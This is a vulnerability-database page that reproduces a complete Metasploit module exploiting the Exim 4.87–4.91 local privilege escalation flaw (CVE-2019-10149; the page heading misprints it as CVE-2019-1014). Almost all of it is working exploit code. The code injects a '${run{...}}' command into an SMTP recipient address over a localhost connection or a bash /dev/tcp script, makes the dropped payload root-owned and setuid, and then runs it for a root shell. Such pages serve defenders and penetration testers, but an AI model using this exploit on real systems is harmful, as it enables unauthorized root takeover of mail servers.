Lucene search
K

Exim 4.91 Local Privilege Escalation

🗓️ 23 Aug 2019 00:00:00Reported by Marco IvaldiType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 399 Views

Exim 4.91 Local Privilege Escalation CVE-2019-1014

Related
Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
require 'expect'  
  
class MetasploitModule < Msf::Exploit::Local  
Rank = ExcellentRanking  
  
include Msf::Exploit::FileDropper  
include Msf::Post::File  
include Msf::Post::Linux::Priv  
include Msf::Post::Linux::System  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Exim 4.87 - 4.91 Local Privilege Escalation',  
'Description' => %q{  
This module exploits a flaw in Exim versions 4.87 to 4.91 (inclusive).  
Improper validation of recipient address in deliver_message()  
function in /src/deliver.c may lead to command execution with root privileges  
(CVE-2019-10149).  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Qualys', # Discovery and PoC (@qualys)  
'Dennis Herrmann', # Working exploit (@dhn)  
'Marco Ivaldi', # Working exploit (@0xdea)  
'Guillaume André' # Metasploit module (@yaumn_)  
],  
'DisclosureDate' => '2019-06-05',  
'Platform' => [ 'linux' ],  
'Arch' => [ ARCH_X86, ARCH_X64 ],  
'SessionTypes' => [ 'shell', 'meterpreter' ],  
'Targets' =>  
[  
[  
'Exim 4.87 - 4.91',  
lower_version: Gem::Version.new('4.87'),  
upper_version: Gem::Version.new('4.91')  
]  
],  
'DefaultOptions' =>  
{  
'PrependSetgid' => true,  
'PrependSetuid' => true  
},  
'References' =>  
[  
[ 'CVE', '2019-10149' ],  
[ 'EDB', '46996' ],  
[ 'URL', 'https://www.openwall.com/lists/oss-security/2019/06/06/1' ]  
]  
))  
  
register_options(  
[  
OptInt.new('EXIMPORT', [ true, 'The port exim is listening to', 25 ])  
])  
  
register_advanced_options(  
[  
OptBool.new('ForceExploit', [ false, 'Force exploit even if the current session is root', false ]),  
OptFloat.new('SendExpectTimeout', [ true, 'Timeout per send/expect when communicating with exim', 3.5 ]),  
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ])  
])  
end  
  
def base_dir  
datastore['WritableDir'].to_s  
end  
  
def encode_command(cmd)  
'\x' + cmd.unpack('H2' * cmd.length).join('\x')  
end  
  
def open_tcp_connection  
socket_subsystem = Rex::Post::Meterpreter::Extensions::Stdapi::Net::Socket.new(client)  
params = Rex::Socket::Parameters.new({  
'PeerHost' => '127.0.0.1',  
'PeerPort' => datastore['EXIMPORT']  
})  
begin  
socket = socket_subsystem.create_tcp_client_channel(params)  
rescue => e  
vprint_error("Couldn't connect to port #{datastore['EXIMPORT']}, "\  
"are you sure exim is listening on this port? (see EXIMPORT)")  
raise e  
end  
return socket_subsystem, socket  
end  
  
def inject_payload(payload)  
if session.type == 'meterpreter'  
socket_subsystem, socket = open_tcp_connection  
  
tcp_conversation = {  
nil => /220/,  
'helo localhost' => /250/,  
"MAIL FROM:<>" => /250/,  
"RCPT TO:<${run{#{payload}}}@localhost>" => /250/,  
'DATA' => /354/,  
'Received:' => nil,  
'.' => /250/  
}  
  
begin  
tcp_conversation.each do |line, pattern|  
Timeout.timeout(datastore['SendExpectTimeout']) do  
if line  
if line == 'Received:'  
for i in (1..31)  
socket.puts("#{line} #{i}\n")  
end  
else  
socket.puts("#{line}\n")  
end  
end  
if pattern  
socket.expect(pattern)  
end  
end  
end  
rescue Rex::ConnectionError => e  
fail_with(Failure::Unreachable, e.message)  
rescue Timeout::Error  
fail_with(Failure::TimeoutExpired, 'SendExpectTimeout maxed out')  
ensure  
socket.puts("QUIT\n")  
socket.close  
socket_subsystem.shutdown  
end  
else  
unless cmd_exec("/bin/bash -c 'exec 3<>/dev/tcp/localhost/#{datastore['EXIMPORT']}' "\  
"&& echo true").chomp.to_s == 'true'  
fail_with(Failure::NotFound, "Port #{datastore['EXIMPORT']} is closed")  
end  
  
bash_script = %|  
#!/bin/bash  
  
exec 3<>/dev/tcp/localhost/#{datastore['EXIMPORT']}  
read -u 3 && echo $REPLY  
echo "helo localhost" >&3  
read -u 3 && echo $REPLY  
echo "mail from:<>" >&3  
read -u 3 && echo $REPLY  
echo 'rcpt to:<${run{#{payload}}}@localhost>' >&3  
read -u 3 && echo $REPLY  
echo "data" >&3  
read -u 3 && echo $REPLY  
for i in $(seq 1 30); do  
echo 'Received: $i' >&3  
done  
echo "." >&3  
read -u 3 && echo $REPLY  
echo "quit" >&3  
read -u 3 && echo $REPLY  
|  
  
@bash_script_path = File.join(base_dir, Rex::Text.rand_text_alpha(10))  
write_file(@bash_script_path, bash_script)  
register_file_for_cleanup(@bash_script_path)  
chmod(@bash_script_path)  
cmd_exec("/bin/bash -c \"#{@bash_script_path}\"")  
end  
  
print_status('Payload sent, wait a few seconds...')  
Rex.sleep(5)  
end  
  
def check_for_bash  
unless command_exists?('/bin/bash')  
fail_with(Failure::NotFound, 'bash not found')  
end  
end  
  
def on_new_session(session)  
super  
  
if session.type == 'meterpreter'  
session.core.use('stdapi') unless session.ext.aliases.include?('stdapi')  
session.fs.file.rm(@payload_path)  
else  
session.shell_command_token("rm -f #{@payload_path}")  
end  
end  
  
def check  
if session.type == 'meterpreter'  
begin  
socket_subsystem, socket = open_tcp_connection  
rescue  
return CheckCode::Safe  
end  
res = socket.gets  
socket.close  
socket_subsystem.shutdown  
else  
check_for_bash  
res = cmd_exec("/bin/bash -c 'exec 3</dev/tcp/localhost/#{datastore['EXIMPORT']} && "\  
"(read -u 3 && echo $REPLY) || echo false'")  
if res == 'false'  
vprint_error("Couldn't connect to port #{datastore['EXIMPORT']}, "\  
"are you sure exim is listening on this port? (see EXIMPORT)")  
return CheckCode::Safe  
end  
end  
  
if res =~ /Exim ([0-9\.]+)/i  
version = Gem::Version.new($1)  
vprint_status("Found exim version: #{version}")  
if version >= target[:lower_version] && version <= target[:upper_version]  
return CheckCode::Appears  
else  
return CheckCode::Safe  
end  
end  
  
CheckCode::Unknown  
end  
  
def exploit  
if is_root?  
unless datastore['ForceExploit']  
fail_with(Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.')  
end  
end  
  
unless writable?(base_dir)  
fail_with(Failure::BadConfig, "#{base_dir} is not writable")  
end  
  
if nosuid?(base_dir)  
fail_with(Failure::BadConfig, "#{base_dir} is mounted nosuid")  
end  
  
unless datastore['PrependSetuid'] && datastore['PrependSetgid']  
fail_with(Failure::BadConfig, 'PrependSetuid and PrependSetgid must both be set to true in order ' \  
'to get root privileges.')  
end  
  
if session.type == 'shell'  
check_for_bash  
end  
  
@payload_path = File.join(base_dir, Rex::Text.rand_text_alpha(10))  
write_file(@payload_path, payload.encoded_exe)  
register_file_for_cleanup(@payload_path)  
inject_payload(encode_command("/bin/sh -c 'chown root #{@payload_path};"\  
"chmod 4755 #{@payload_path}'"))  
  
unless setuid?(@payload_path)  
fail_with(Failure::Unknown, "Couldn't escalate privileges")  
end  
  
cmd_exec("#{@payload_path} & echo ")  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation